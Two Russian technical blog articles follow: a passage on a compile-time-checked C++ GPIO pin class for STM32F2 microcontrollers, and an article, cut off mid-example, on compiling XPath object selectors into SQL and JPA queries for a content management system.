Как же быть со всеми этими ограничениями и невозможностью отладки? Для начала предположим, что **ПОЛЬЗОВАТЕЛЬ НИКОГДА НЕ ОШИБАЕТСЯ** (да, футуристично, но пока примем это за аксиому). Тогда constexpr, выходит, в принципе не нуждается в отладке и выбрасыванию исключений о том, что параметры входных данных неверны.
Для примера рассмотрим класс объекта управления выводом порта микроконтроллера, изначально кем-то включенным (подан тактовый сигнал на блок периферии) и с настроенным на выход выводом с нужной скоростью (самое то, чтобы мигать светодиодом). По сути, объект нашего класса должен иметь методы для переключения состояния вывода из 1 в 0 и обратно. Большего от нашего объекта не требуется.
Однако для того, чтобы не плодить сущности, предположим, что у нас есть некоторая структура, описывающая конфигурацию одного вывода целиком. Эту структуру использует не только класс нашего объекта, но и другие (например те, которые заранее для нас инициализировали модуль и сконфигурировали вывод в нужное состояние). Структура эта будет выглядеть так:
```
/*
* Структура конфигурации вывода.
*/
struct __attribute__( ( packed ) ) pin_config_t {
EC_PORT_NAME port; // Имя порта
// ( пример: EC_PORT_NAME::A ).
EC_PORT_PIN_NAME pin_name; // Номер вывода
// ( пример: EC_PORT_PIN_NAME::PIN_0 ).
EC_PIN_MODE mode; // Режим вывода
// ( пример: EC_PIN_MODE::OUTPUT ).
EC_PIN_OUTPUT_CFG output_config; // Режим выхода
// ( пример: EC_PIN_OUTPUT_CFG::NOT_USE ).
EC_PIN_SPEED speed; // Скорость вывода
// ( пример: EC_PIN_SPEED::MEDIUM ).
EC_PIN_PULL pull; // Подтяжка вывода
// ( пример: EC_PIN_PULL::NO ).
EC_PIN_AF af; // Альтернативная функция вывода
// ( пример: EC_PIN_AF::NOT_USE ).
EC_LOCKED locked; // Заблокировать ли настройку данного
// вывода во время инициализации
// global_port объекта
// ( пример EC_LOCKED::NOT_LOCKED ).
EC_PIN_STATE_AFTER_INIT state_after_init; // Состояние на выходе после инициализации
// ( в случае, если вывод настроен как выход ).
// (пример EC_PIN_STATE_AFTER_INIT::NO_USE).
};
```
**Структура использует следующие enum class-ы**
```
/**********************************************************************
* Область enum class-ов.
**********************************************************************/
/*
* Перечень выводов каждого порта.
*/
enum class EC_PORT_PIN_NAME {
PIN_0 = 0,
PIN_1 = 1,
PIN_2 = 2,
PIN_3 = 3,
PIN_4 = 4,
PIN_5 = 5,
PIN_6 = 6,
PIN_7 = 7,
PIN_8 = 8,
PIN_9 = 9,
PIN_10 = 10,
PIN_11 = 11,
PIN_12 = 12,
PIN_13 = 13,
PIN_14 = 14,
PIN_15 = 15
};
/*
* Режим вывода.
*/
enum class EC_PIN_MODE {
INPUT = 0, // Вход.
OUTPUT = 1, // Выход.
AF = 2, // Альтернативная функция.
ANALOG = 3 // Аналоговый режим.
};
/*
* Режим выхода.
*/
enum class EC_PIN_OUTPUT_CFG {
NO_USE = 0, // Вывод не используется как вывод.
PUSH_PULL = 0, // "Тянуть-толкать".
OPEN_DRAIN = 1 // "Открытый сток".
};
/*
* Скорость выхода.
*/
enum class EC_PIN_SPEED {
LOW = 0, // Низкая.
MEDIUM = 1, // Средняя.
FAST = 2, // Быстрая.
HIGH = 3 // Очень быстрая
};
/*
* Выбор подтяжки
*/
enum class EC_PIN_PULL {
NO_USE = 0, // Без подтяжки.
UP = 1, // Подтяжка к питанию.
DOWN = 2 // Подтяжка к земле.
};
/*
* Выбираем альтернативную функцию, если используется.
*/
enum class EC_PIN_AF {
AF_0 = 0,
NO_USE = AF_0,
SYS = AF_0,
AF_1 = 1,
TIM1 = AF_1,
TIM2 = AF_1,
AF_2 = 2,
TIM3 = AF_2,
TIM4 = AF_2,
TIM5 = AF_2,
AF_3 = 3,
TIM8 = AF_3,
TIM9 = AF_3,
TIM10 = AF_3,
TIM11 = AF_3,
AF_4 = 4,
I2C1 = AF_4,
I2C2 = AF_4,
I2C3 = AF_4,
AF_5 = 5,
SPI1 = AF_5,
SPI2 = AF_5,
I2S2 = AF_5,
AF_6 = 6,
SPI3 = AF_6,
I2S3 = AF_6,
AF_7 = 7,
USART1 = AF_7,
USART2 = AF_7,
USART3 = AF_7,
AF_8 = 8,
UART4 = AF_8,
UART5 = AF_8,
USART6 = AF_8,
AF_9 = 9,
CAN1 = AF_9,
CAN2 = AF_9,
TIM12 = AF_9,
TIM13 = AF_9,
TIM14 = AF_9,
AF_10 = 10,
OTG_FS = AF_10,
AF_11 = 11,
ETH = AF_11,
AF_12 = 12,
FSMC = AF_12,
SDIO = AF_12,
AF_13 = 13,
DCMI = AF_13,
AF_14 = 14,
AF_15 = 15,
EVENTOUT = AF_15
};
/*
* Разрешено ли блокировать конфигурацию вывода методами set_locked_key_port и
* set_locked_keys_all_port объекту класса global_port.
* Важно! Блокировка применяется только один раз объектом global_port. Во время последующей
* работы заблокировать иные выводы или же отключить блокировку текущих - невозможно.
* Единственный способ снять блокировку - перезагрузка чипа.
*/
enum class EC_LOCKED {
NOT_LOCKED = 0, // Не блокировать вывод.
LOCKED = 1 // Заблокировать вывод.
};
/*
* Состояние на выходе после инициализации
* (в случае, если вывод настроен как выход).
*/
enum class EC_PIN_STATE_AFTER_INIT {
NO_USE = 0,
RESET = 0,
SET = 1
};
```
Как говорилось ранее, объект нашего класса должен только менять состояние на выходе вывода (ножки). Так как библиотека пишется под stm32f2 (и только), то разумным будет использовать для этих целей имеющийся в физическом блоке GPIO каждого порта регистр **BSR**, который позволяет записью единицы (1) в биты 0-15 устанавливать соответствующий бит (запись единицы (1) в 0-й бит выставит состояние вывода порта 0 в 1), а записью единицы (1) в 16-31 сбрасывать соответствующий бит — 16 (запись единицы (1) в 31-й бит сбросит 31-16 = 15-й вывод порта в 0).
Как видно, задача установки нужного вывода в 1 сводится к записи в BSR регистр *1 << номер\_вывода*, а сброса в записи *1 << номер\_вывода + 16*.
Для этих целей нам достаточно взять из полученной от пользователя структуры поля **port** и **pin\_name**. Все остальные поля нам не нужны.
Обозначим общий вид класса нашего объекта:
```
class pin {
public:
constexpr pin ( const pin_config_t* const pin_cfg_array );
void set ( void ) const;
void reset ( void ) const;
void set ( uint8_t state ) const;
void set ( bool state ) const;
void set ( int state ) const;
private:
constexpr uint32_t p_bsr_get ( const pin_config_t* const pin_cfg_array );
constexpr uint32_t set_msk_get ( const pin_config_t* const pin_cfg_array );
constexpr uint32_t reset_msk_get ( const pin_config_t* const pin_cfg_array );
const uint32_t p_bsr;
const uint32_t bsr_set_msk, bsr_reset_msk;
};
```
Как видно, класс имеет следующие методы:
* set без параметров — устанавливает состояние на выходе вывода в 1;
* reset — сбрасывает состояние на выходе вывода в 0;
* set c параметрами разных типов — на деле представляет из себя одну функцию (о чем будет далее), которая устанавливает заданное состояние на выходе используя функции выше.
Все эти методы используются пользователем в реальном времени. Рассмотрим их.
```
/*
* Метод устанавливает вывод порта в <<1>>,
* если вывод настроен как выход.
*/
void pin::set ( void ) const {
*M_U32_TO_P(this->p_bsr) = this->bsr_set_msk;
}
/*
* Метод устанавливает вывод порта в <<0>>,
* если вывод настроен как выход.
*/
void pin::reset ( void ) const {
*M_U32_TO_P(this->p_bsr) = this->bsr_reset_msk;
}
/*
* Метод выставляет на выход заданное состояние,
* если вывод настроен как выход.
*/
void pin::set ( uint8_t state ) const {
if ( state ) {
this->set();
} else {
this->reset();
}
}
void pin::set ( bool state ) const {
this->set( static_cast< uint8_t >( state ) );
}
void pin::set ( int state ) const {
this->set( static_cast< uint8_t >( state ) );
}
```
Методы set и reset используют приведенный ниже define для явного преобразования значения в uint32\_t переменной в указатель на uint32\_t переменную.
```
// Преобразует число в uint32_t переменной в указатель на uint32_t.
// Данные по указателю можно изменять.
#define M_U32_TO_P(point) ((uint32_t *)(point))
```
На данный момент мы разобрались с тем, как методы объекта работают с готовыми масками, осталось самое главное (то, ради чего и писалась данная статья) подготовить их.
Класс имеет три метода:
1. set\_msk\_get — возвращает значение uint32\_t переменной, являющееся маской регистра BSR для установки заданного пользователем вывода в <<1>>.
2. reset\_msk\_get — возвращает значение uint32\_t переменной, являющееся маской регистра BSR для сброса заданного пользователем вывода в <<0>>.
3. p\_bsr\_get — возвращает значение uint32\_t переменной, содержащее в себе адрес регистра BSR на физической карте памяти микроконтроллера.
Зная, что пользователь точно не ошибся при указании параметров структуры, можем написать следующий код:
```
/**********************************************************************
* Область constexpr функций.
**********************************************************************/
/*
* Метод возвращает маску установки выхода в "1" через регистр BSR.
*/
constexpr uint32_t pin::set_msk_get ( const pin_config_t* const pin_cfg_array ) {
return 1 << M_EC_TO_U8(pin_cfg_array->pin_name);
}
/*
* Метод возвращает маску установки выхода в "0" через регистр BSR.
*/
constexpr uint32_t pin::reset_msk_get ( const pin_config_t* const pin_cfg_array ) {
return 1 << M_EC_TO_U8( pin_cfg_array->pin_name ) + 16;
}
/*
* Метод возвращает указатель на регистр BSR, к которому относится вывод.
*/
constexpr uint32_t pin::p_bsr_get( const pin_config_t* const pin_cfg_array ) {
uint32_t p_port = p_base_port_address_get( pin_cfg_array->port );
return p_port + 0x18;
}
```
Эти функции используют define для преобразования значения enum class-а в uint8\_t переменную.
```
// Преобразует enum class в uint8_t.
#define M_EC_TO_U8(ENUM_VALUE) ((uint8_t)ENUM_VALUE)
```
Так же метод *p\_bsr\_get* используют не принадлежащий никакому конкретному классу метод **p\_base\_port\_address\_get**, который принимая значение enum class-а EC\_PORT\_NAME (имя порта) возвращает физический адрес начала расположения регистров этого порта на физической карте микроконтроллера. Выглядит он следующим образом:
**Общий метод p\_base\_port\_address\_get**
```
/*
* Возвращает указатель на базовый адрес выбранного порта ввода-вывода
* на карте памяти в соответствии с выбранным контроллером.
*/
constexpr uint32_t p_base_port_address_get( EC_PORT_NAME port_name ) {
switch( port_name ) {
#ifdef PORTA
case EC_PORT_NAME::A: return 0x40020000;
#endif
#ifdef PORTB
case EC_PORT_NAME::B: return 0x40020400;
#endif
#ifdef PORTC
case EC_PORT_NAME::C: return 0x40020800;
#endif
#ifdef PORTD
case EC_PORT_NAME::D: return 0x40020C00;
#endif
#ifdef PORTE
case EC_PORT_NAME::E: return 0x40021000;
#endif
#ifdef PORTF
case EC_PORT_NAME::F: return 0x40021400;
#endif
#ifdef PORTG
case EC_PORT_NAME::G: return 0x40021800;
#endif
#ifdef PORTH
case EC_PORT_NAME::H: return 0x40021C00;
#endif
#ifdef PORTI
case EC_PORT_NAME::I: return 0x40022000;
#endif
}
}
```
Конструктор класса, заполняющий константы масок сброса/установки и адреса регистра выглядит следующим образом.
```
/**********************************************************************
* Область constexpr конструкторов.
**********************************************************************/
constexpr pin::pin ( const pin_config_t* const pin_cfg_array ):
p_bsr ( this->p_bsr_get( pin_cfg_array ) ),
bsr_set_msk ( this->set_msk_get( pin_cfg_array ) ),
bsr_reset_msk ( this->reset_msk_get( pin_cfg_array ) ) {};
```
Технически, уже сейчас можно пользоваться данным классом, но мы ведь помним, что пользователь далеко не всегда может ввести все параметры структуры правильно…
Учет пользовательских ошибок.
-----------------------------
Теперь, когда у нас имеется рабочий и отлаженный класс, осталось только доработать проверку входной структуры и можно спокойно использовать объекты нашего класса. Но, как говорилось ранее, сделать это в constexpr комфортно — невозможно. Но решение есть — template. Так как все объекты в коде пользователя должны задаваться глобально (это основное условие использования библиотеки, о котором можно будет почитать в документе ее (библиотеки) описания, ссылку на которую дам в конце статьи), то использование template-ов кажется наиболее разумным. Дело в том, что в template-ах разрешен static\_assert. Так же в них можно использовать разного рода код для проведения более сложных проверок. И, что самое главное:
**Если создать template class, унаследованный от структуры, провести в конструкторе этого класса все необходимые проверки, а затем объявить объект данного template класса глобально в коде пользователя, то компилятор разрешит применить неявное преобразование типов к той самой структуре, от которой класс был унаследован.**
Такую возможность просто нельзя не использовать!
```
/**********************************************************************
* Область template оболочек.
**********************************************************************/
template < EC_PORT_NAME PORT,
EC_PORT_PIN_NAME PIN_NAME,
EC_PIN_MODE MODE,
EC_PIN_OUTPUT_CFG OUTPUT_CONFIG,
EC_PIN_SPEED SPEED,
EC_PIN_PULL PULL,
EC_PIN_AF AF,
EC_LOCKED LOCKED,
EC_PIN_STATE_AFTER_INIT STATE_AFTER_INIT >
class pin_config_check_param : public pin_config_t {
public:
constexpr pin_config_check_param(): pin_config_t( {
.port = PORT,
.pin_name = PIN_NAME,
.mode = MODE,
.output_config = OUTPUT_CONFIG,
.speed = SPEED,
.pull = PULL,
.af = AF,
.locked = LOCKED,
.state_after_init = STATE_AFTER_INIT
} ) {
/*
* Проверяем введенные пользователем данные в структуру инициализации.
*/
#if defined(STM32F205RB)|defined(STM32F205RC)|defined(STM32F205RE) \
|defined(STM32F205RF)|defined(STM32F205RG)
static_assert( PORT >= EC_PORT_NAME::A &&
PORT <= EC_PORT_NAME::H,
"Invalid port name. The port name must be A..H." );
#endif
static_assert( PIN_NAME >= EC_PORT_PIN_NAME::PIN_0 &&
PIN_NAME <= EC_PORT_PIN_NAME::PIN_15,
"Invalid output name. An output with this name does not"
"exist in any port. The output can have a name PIN_0..PIN_15." );
static_assert( MODE >= EC_PIN_MODE::INPUT &&
MODE <= EC_PIN_MODE::ANALOG,
"The selected mode does not exist. "
"The output can be set to mode: INPUT, OUTPUT, AF or ANALOG." );
static_assert( OUTPUT_CONFIG == EC_PIN_OUTPUT_CFG::PUSH_PULL ||
OUTPUT_CONFIG == EC_PIN_OUTPUT_CFG::OPEN_DRAIN,
"A non-existent output mode is selected. "
"The output can be in the mode: PUSH_PULL, OPEN_DRAIN." );
static_assert( SPEED >= EC_PIN_SPEED::LOW &&
SPEED <= EC_PIN_SPEED::HIGH,
"A non-existent mode of port speed is selected. "
"Possible modes: LOW, MEDIUM, FAST or HIGH." );
static_assert( PULL >= EC_PIN_PULL::NO_USE &&
PULL <= EC_PIN_PULL::DOWN,
"A non-existent brace mode is selected."
"The options are: NO_USE, UP or DOWN." );
static_assert( AF >= EC_PIN_AF::AF_0 &&
AF <= EC_PIN_AF::AF_15,
"A non-existent mode of the alternative port function is selected." );
static_assert( LOCKED == EC_LOCKED::NOT_LOCKED ||
LOCKED == EC_LOCKED::LOCKED,
"Invalid port lock mode selected." );
static_assert( STATE_AFTER_INIT == EC_PIN_STATE_AFTER_INIT::NO_USE ||
STATE_AFTER_INIT == EC_PIN_STATE_AFTER_INIT::SET,
"The wrong state of the output is selected."
"The status can be: NO_USE, UP or DOWN." );
};
};
```
Теперь мы можем объявить в коде пользователя объект данного класса:
```
const pin_config_check_param< EC_PORT_NAME::C, EC_PORT_PIN_NAME::PIN_4,
EC_PIN_MODE::OUTPUT, EC_PIN_OUTPUT_CFG::PUSH_PULL,
EC_PIN_SPEED::MEDIUM, EC_PIN_PULL::NO_USE,
EC_PIN_AF::NO_USE, EC_LOCKED::LOCKED,
EC_PIN_STATE_AFTER_INIT::SET > lcd_res;
```
После чего, при создании объекта класса pin сослаться не него, как на обычную структуру:
```
const constexpr pin pin_lcd_res( &lcd_res );
```
После чего, в коде пользователя можно пользоваться методами этого объекта:
```
void port_test ( void ) {
pin_lcd_res.reset();
pin_lcd_res.set();
}
```
Расширим возможности класса
---------------------------
Мы получили класс, который вполне годиться для управления ножкой в режиме выхода. Однако, не создавать же отдельный класс для входа? Немного доработаем класс, чтобы им можно было пользоваться как для выводов, сконфигурированных на выход, так и на вход. Так же добавим еще и метод инвертирования состояния на выходе.
Дополним класс двумя (2) константами:
1. p\_bb\_odr\_read — здесь будет находиться указатель на бит вывода объекта в регистре ODR (выставленное пользователем положение на выходе вывода, если вывод используется на выход). Используется bit-banding область.
2. p\_bb\_idr\_read — здесь будет находиться указатель на бит вывода объекта в регистре IDR (в данном регистре содержится реальное состояние на входах вывода, в не зависимости от того, как настроен вывод). Используется bit-banding область.
Напишем методы, которые возвращают значения этих констант для конкретного вывода.
```
/*
* Метод возвращает указатель на bit_banding
* область памяти, в которой находится бит состояния входа.
*/
constexpr uint32_t pin::bb_p_idr_read_get ( const pin_config_t* const pin_cfg_array ) {
uint32_t p_port = p_base_port_address_get( pin_cfg_array->port );
uint32_t p_idr = p_port + 0x10;
return M_GET_BB_P_PER(p_idr, M_EC_TO_U8(pin_cfg_array->pin_name));
}
/*
* Метод возвращает указатель на bit banding область памяти,
* с выставленным пользователем состоянием на выходе вывода.
*/
constexpr uint32_t pin::odr_bit_read_bb_p_get ( const pin_config_t* const pin_cfg_array ) {
uint32_t p_port = p_base_port_address_get( pin_cfg_array->port );
uint32_t p_reg_odr = p_port + 0x14;
return M_GET_BB_P_PER(p_reg_odr, M_EC_TO_U8(pin_cfg_array->pin_name));
}
```
Здесь используется define M\_GET\_BB\_P\_PER который по uint32\_t значению адреса регистра в области периферии и uint32\_t номера бита порта возвращает bit-banding адрес этого бита.
**define M\_GET\_BB\_P\_PER**
```
//*********************************************************************
// Определения, не касающиеся основных модулей.
//*********************************************************************
#define BIT_BAND_SRAM_REF 0x20000000
#define BIT_BAND_SRAM_BASE 0x22000000
//Получаем адрес бита RAM в Bit Banding области.
#define MACRO_GET_BB_P_SRAM(reg, bit) \
((BIT_BAND_SRAM_BASE + (reg - BIT_BAND_SRAM_REF)*32 + (bit * 4)))
#define BIT_BAND_PER_REF ((uint32_t)0x40000000)
#define BIT_BAND_PER_BASE ((uint32_t)0x42000000)
// Получаем адрес бита периферии в Bit Banding области.
#define M_GET_BB_P_PER(ADDRESS,BIT) \
((BIT_BAND_PER_BASE + (ADDRESS - BIT_BAND_PER_REF)*32 + (BIT * 4)))
```
Допишем в конструктор инициализацию этих команд.
```
/**********************************************************************
* Область constexpr конструкторов.
**********************************************************************/
constexpr pin::pin ( const pin_config_t* const pin_cfg_array ):
p_bsr ( this->p_bsr_get( pin_cfg_array ) ),
p_bb_odr_read ( this->odr_bit_read_bb_p_get( pin_cfg_array ) ),
bsr_set_msk ( this->set_msk_get( pin_cfg_array ) ),
bsr_reset_msk ( this->reset_msk_get( pin_cfg_array ) ),
p_bb_idr_read ( this->bb_p_idr_read_get( pin_cfg_array ) ) {};
```
Ну и допишем функции реального времени, которые будут работать с этими константами:
```
/*
* Метод инвертирует состояние на выходе вывода,
* если вывод настроен как выход.
*/
void pin::invert( void ) const {
if (*M_U32_TO_P_CONST(p_bb_odr_read)) { // Если был 1, то выставляем 0.
this->reset();
} else {
this->set();
}
}
/*
* Метод возвращает состояние на входе вывода.
*/
int pin::read() const {
return *M_U32_TO_P_CONST(p_bb_idr_read);
}
```
Здесь используется еще 1 define (M\_U32\_TO\_P\_CONST), который преобразует значение, хранящееся в uint32\_t переменной в указатель на uint32\_t переменную, защищенную от записи.
```
// Преобразует число в uint32_t переменной в указатель на uint32_t.
// Причем запрещает переписывать то, что по указателю (только чтение).
#define M_U32_TO_P_CONST(point) ((const uint32_t *const)(point))
```
В конечном итоге, наш класс приобрел следующий вид:
```
class pin {
public:
constexpr pin ( const pin_config_t* const pin_cfg_array );
void set ( void ) const;
void reset ( void ) const;
void set ( uint8_t state ) const;
void set ( bool state ) const;
void set ( int state ) const;
void invert ( void ) const;
int read ( void ) const;
private:
constexpr uint32_t p_bsr_get ( const pin_config_t* const pin_cfg_array );
constexpr uint32_t set_msk_get ( const pin_config_t* const pin_cfg_array );
constexpr uint32_t reset_msk_get ( const pin_config_t* const pin_cfg_array );
constexpr uint32_t odr_bit_read_bb_p_get ( const pin_config_t* const pin_cfg_array );
constexpr uint32_t bb_p_idr_read_get ( const pin_config_t* const pin_cfg_array );
const uint32_t p_bsr;
const uint32_t bsr_set_msk, bsr_reset_msk;
const uint32_t p_bb_odr_read, p_bb_idr_read;
};
```
О сокращенных записях.
----------------------
Зачастую бывает, что нужно создать структуру конфигурации объекта под определенную задачу (например, под вход ADC). Если таких выводов много, то писать каждый раз все параметры утомительно. Для этого можно использовать template class, который будет использовать наш template class. Для ADC это будет выглядеть следующем образом:
```
template < EC_PORT_NAME PORT,
EC_PORT_PIN_NAME PIN_NAME >
class pin_config_adc_check_param : public pin_config_check_param< PORT, PIN_NAME,
EC_PIN_MODE::INPUT,
EC_PIN_OUTPUT_CFG::NO_USE,
EC_PIN_SPEED::LOW,
EC_PIN_PULL::UP,
EC_PIN_AF::NO_USE,
EC_LOCKED::LOCKED,
EC_PIN_STATE_AFTER_INIT::NO_USE > {
public:
constexpr pin_config_adc_check_param() {};
};
```
Объявление в коде займет многократно меньше места:
```
const pin_config_adc_check_param< EC_PORT_NAME::B, EC_PORT_PIN_NAME::PIN_1 > adc_left;
```
Итог
----
Таким образом, на выходе, мы получили возможность создавать объекты на этапе компиляции, которые никак не используют ОЗУ и не требуют вызова конструктора в реальном времени. При этом мы будем точно уверены в том, что инициализированы они верно.
В данном конкретном случае ошибиться сложно, согласен. Может быть, проверки тут и излишни, но например, когда речь идет о создании настроек конфигурации PLL, тут уже сложнее. Можно что-то не учесть. Например, что какой-то делитель не может быть выставлен в какое-то значение, хотя поле для его ввода позволяет его принять, или же выставленный делитель получает частоту, которая превышает, или наоборот, не дотягивает до границ рекомендуемых значений. В таких случаях возможность проверки на этапе компиляции очень сильно помогают.
Так же стоит заметить, что созданная глобальная структура инициализации объекта класса pin не пойдет в файл основной прошивки. Она будет отброшена компоновщиком как не используемая. В flash пойдут только uint32\_t переменные, заполненные конструктором и методы, реально вызванные в программе пользователя.
Приведенный в статье код — часть [этой](https://github.com/Vadimatorik/stm32f2_api) библиотеки. Библиотека еще в начальной стадии разработки. Как будет альфа версия — будет отдельная статья на эту тему.
Отдельное спасибо [madcomaker](https://habr.com/ru/users/madcomaker/) за ответ на [Тостере](https://toster.ru/q/435737), натолкнувший на идею. | https://habr.com/ru/post/331468/ | null | ru | null |
# Использование XPath для указания ссылок на объекты
Данный топик рассказывает о возможности использования XPath для выбора объектов из базы данных в случаях, когда использование SQL нежелательно.
#### Постановка задачи
Во многих системах для тех или иных целей часто требуется выбирать объекты из базы данных в качестве значений тех или иных полей. Например, выбрать поставщика товара из списка. Это является частью пользовательского интерфейса системы.
Однако кроме пользователей у системы есть программисты, инженеры-настройщики, дизайнеры и пр., которым также иногда нужно указывать системе, какие объекты нужно выбрать. Например, возможно, что после выбора города поставщика нужно ограничивать список поставщиков. Для этого обычно программист пишет соответствующий SQL, например, «SELECT id, name FROM agents WHERE city=?». То есть SQL используется для того, чтобы указать системе, какие объекты нужно выбрать из базы данных.
Чаще всего такой выбор является частью исходного кода системы. Скрытый в PHP или в Java-коде (или, лучше, в SQL-bundles или в хранимых процедурах) подобный код смотрится привычно. Но иногда фильтр становится не частью исходного кода, а частью настройки системы, которую производит системный инженер или верстальщик XSLT/HTML-кода.
Пример 1: Система управления предприятием. Есть список объектов «Сотрудник» и список объектов «Офис». Нужно к объекту «Сотрудник» добавить поле выбора офиса, при этом показав список офисов в той же стране, где зарегистрирован сотрудник. Обычным способом является запись соответствующего SQL-фильтра в свойства атрибута «Офис сотрудника» класса «Сотрудник». Этот SQL принимает, например, на вход ID сотрудника и вычисляет соответствующий список офисов.
Пример 2: Система управления сайтом, основанная на XSLT. Из базы данных выбирается объект (например, статья), строится XML, после чего с помощью XSLT преобразования получается HTML и он отдаётся клиенту. Однако часто кроме самого текста статьи к XML нужно прикрепить дополнительные элементы — например, список остальных статей в разделе для быстрой навигации. Или даже список разделов текущего сайта, если дизайн позволяет менять его через систему управления. Для выбора соответствующих объектов можно было бы использовать тот же SQL, принимая в качестве аргументов ID текущего объекта (статьи).
Использование SQL в подобных примерах обладает следующими недостатками:
1) Системный инженер, не знакомый с Java/PHP/.NET должен всё-таки знать SQL
2) Инженер должен знать внутреннее устройство таблиц системы
3) Использование SQL для подобных настроек приложения «замораживает» структуру таблиц, делая её частью public API
4) Данный SQL имеет право на чтение как минимум всех данных из соответствующих таблиц. Ограничить права приложением без использования row-level security нереально.
Поэтому в Arp.Site для выбора объектов из текстов шаблонов используется другой способ указания. Так как для шаблонов в основном используется XSLT, то логичнее всего было использовать ту технологию, которая ближе всего к XML. А именно XPath.
XPath позволяет осуществить выборку объектов из *дерева* (точнее, из ациклического ориентированного графа) с учётом ограничений-*предикатов*. Запись выражений на XPath более компактная и более понятная, чем в SQL.
Пример 1: `/офисы/офис[@страна=$сотрудник/@страна]`
Пример 2: `//folder[@active='true']/article` — для выбора статей из того же раздела. `//site[@active='true']/folder` — для выбора разделов текущего сайта.
#### Техническая реализация
Для реализации возможно использования двух подходов: интерпретация и компиляция.
Интерпретация — это построение реального (для очень маленьких сайтов) или виртуального (для больших систем) DOM-дерева объектов и «скармливание» некоторому XPath-движку самого выражения XPath и корня (или текущего объекта) DOM-дерева. Результатом выполнения является указатель на другой объект (или NodeList) DOM-дерева, который и преобразуется в набор ID-ников системы.
Преимущества:
— самый быстрый способ реализации «с нуля»
— самый понятный, если нет оптимизаций, направленных на ускорение
Недостатки
— самый тормозной способ, если каждая операция перехода по дереву будет требовать обращения к базе данных
— очень сложно делать оптимизации выполнения.
Что такое оптимизации и зачем они нужны? Пример:
— частью XPath выражения является, например, `//article[@name='123']`. Любой XPath-процессор будет проходить по всему дереву объектов, и для каждого сравнивать его тип (article), а также наличие свойства [name](https://geektimes.ru/users/name/) и его равенство значению '123'. Наличие оптимизаций позволяет заменить все подобные операции, на, например, одну операцию выборки всех статей, имена которых равны '123'.
— XPath выражение `//*[@active='true']` должно выбрать список «текущих» объектов — сайт, раздел, подраздел, статья (для построения navigation path). Однако перебор всех объектов по дереву нежелателен, поэтому данные выражения также нужно оптимизировать.
Для интерпретации в Arp.Site используется библиотека Apache Commons JXPath. Данная библиотека принимает на вход любой объект (бин, DOM node, JDOM node, etc), либо любой произвольный, если вы объясните библиотеке, как получить у этого объекта свойства и дочерние объекты. Также данная библиотека позволяет подменить некоторые стандартные обработчики своими. Например, заменить обработчик Step для Axis=DESCENDANT\_OR\_SELF (операция "//" в XPath) своим оптимизированным.
На вход библиотеки подаётся объект, связанный с объектом информационного дерева. При необходимости из базы данных подгружается информация о его потомках.
##### Компиляция в SQL
Вторым подходом стало предварительная компиляция XPath в SQL, после чего он кешировался на будущее и исполнялся.
Преимущества
— значительное ускорение за счёт единственности SQL запроса к базе данных
Недостатки
— значительно сложнее писать код, нужно отслеживать все использованные alias'ы таблиц, возвращаемые значения, корректно обрабатывать различные предикаты.
— Работа над построением SQL сводится к работе над строками
— требуется значительное количество оптимизаций для упрощения и ускорения SQL
Пример оптимизации. Пусть у нас есть XPATH `//site[@active='true']/folder`. Без оптимизации SQL мог бы выглядеть следующим образом:
`SELECT f.id FROM objects f, objects s WHERE s.id=f.parent AND s.class='site' AND f.class='folder' AND s.id IN (1,4,73,423)` (где 1,4,73,423 — список «текущих» объектов).
Однако, система может использовать следующие hints:
— site в дереве объектов не может быть потомком site (т.е. он только один в списке текущих объектов)
— site точно есть в базе данных
— его id равен «1»
то SQL, очевидно, можно переписать как
`SELECT f.id FROM objects f WHERE f.parent=1 f.class='folder'`
Подобных оптимизаций можно придумать очень много, хотя большинство из них system-specific.
Примеры компиляций в SQL:
* `//site[@ active='true']/*[@active='true']/*[@state='published']`
`SELECT t7.id FROM struct_cells t7, registry_objects t8 WHERE t7.obj=t8.id AND t7.erased=0 AND t8.erased=0 AND t8.state=2 AND t7.state=3 AND t7.parent=360965`
* `//*[@current='true']/*[@state='published'] | //*[@current='true']/*[@state='published']/file[@state='published' or @state='archived']`
`(SELECT t4.id FROM struct_cells t4, registry_objects t5 WHERE t4.obj=t5.id AND t4.erased=0 AND t5.erased=0 AND t5.state=2 AND t4.state=3 AND t4.parent=1) UNION (SELECT t13.id FROM struct_cells t13, registry_objects t14, struct_cells t10, registry_objects t11 WHERE t13.obj=t14.id AND t13.erased=0 AND t14.erased=0 AND t14.class=10 AND (t14.state=2 AND t13.state IN (3,4)) AND t10.obj=t11.id AND t10.erased=0 AND t11.erased=0 AND t11.state=2 AND t10.state=3 AND t10.parent=1 AND t13.parent=t10.id))`
##### Компиляция в JPAQL
Третий подход, разработанный после появления JPA 2.0, включивший в себя CriteriaQuery API, состоит в построении запроса с использованием соответствующего API без прямых операций со строками запроса.
Преимущества
— значительное упрощение кода построения запросов
— избавление от ошибок-опечаток
— код будет работать на любой базе данных, поддерживаемой JPA
Недостатки
— требуется значительное количество оптимизаций для упрощения и ускорения EJBQL
— незначительное замедление из-за возможной неоптимизированности кода транслятора EJBQL -> SQL
— значительное замедление из-за необходимости эмулирования функций вроде UNION, отсутствующих в EJBQL.
— отсутствие поддержки некоторых операций, например, limit/row\_number в CriteriaQuery делает невозможным поддержку position-предикатов, например, `//site/folder[2]`.
Примеры компиляций в JPAQL:
* `//site[@active='true']/*[@active='true']/*[@state='published']`
`SELECT t0.id
FROM ru.arptek.arpsite.content.Cell as t1, ru.arptek.arpsite.content.Cell as t0
INNER JOIN t0.webObject as t2
WHERE ( t1.parent.id=360930 ) and ( t1.erased=0 ) and ( t1.id in (360965, 360930, 417026, 124316, 63316, 1) ) and ( t1.id=t0.parent.id ) and ( t0.erased=0 ) and ( t2.erased=0 ) and ( ( t2.stateId=2 ) and ( t0.stateId=3 ) )`
* `//*[@current='true']/*[@state='published'] | //*[@current='true']/*[@state='published']/file[@state='published' or @state='archived']`
`SELECT t0.id
FROM ru.arptek.arpsite.content.Cell as t0
WHERE ( exists (
SELECT 1
FROM ru.arptek.arpsite.content.Cell as t1
INNER JOIN t1.webObject as t2
WHERE ( t1.parent.id=1 ) and ( t1.erased=0 ) and ( t2.erased=0 ) and ( ( t2.stateId=2 ) and ( t1.stateId=3 ) ) and ( t0=t1 )) ) or ( exists (
SELECT 1
FROM ru.arptek.arpsite.content.Cell as t3, ru.arptek.arpsite.content.Cell as t4
INNER JOIN t3.webObject as t5
INNER JOIN t4.webObject as t6
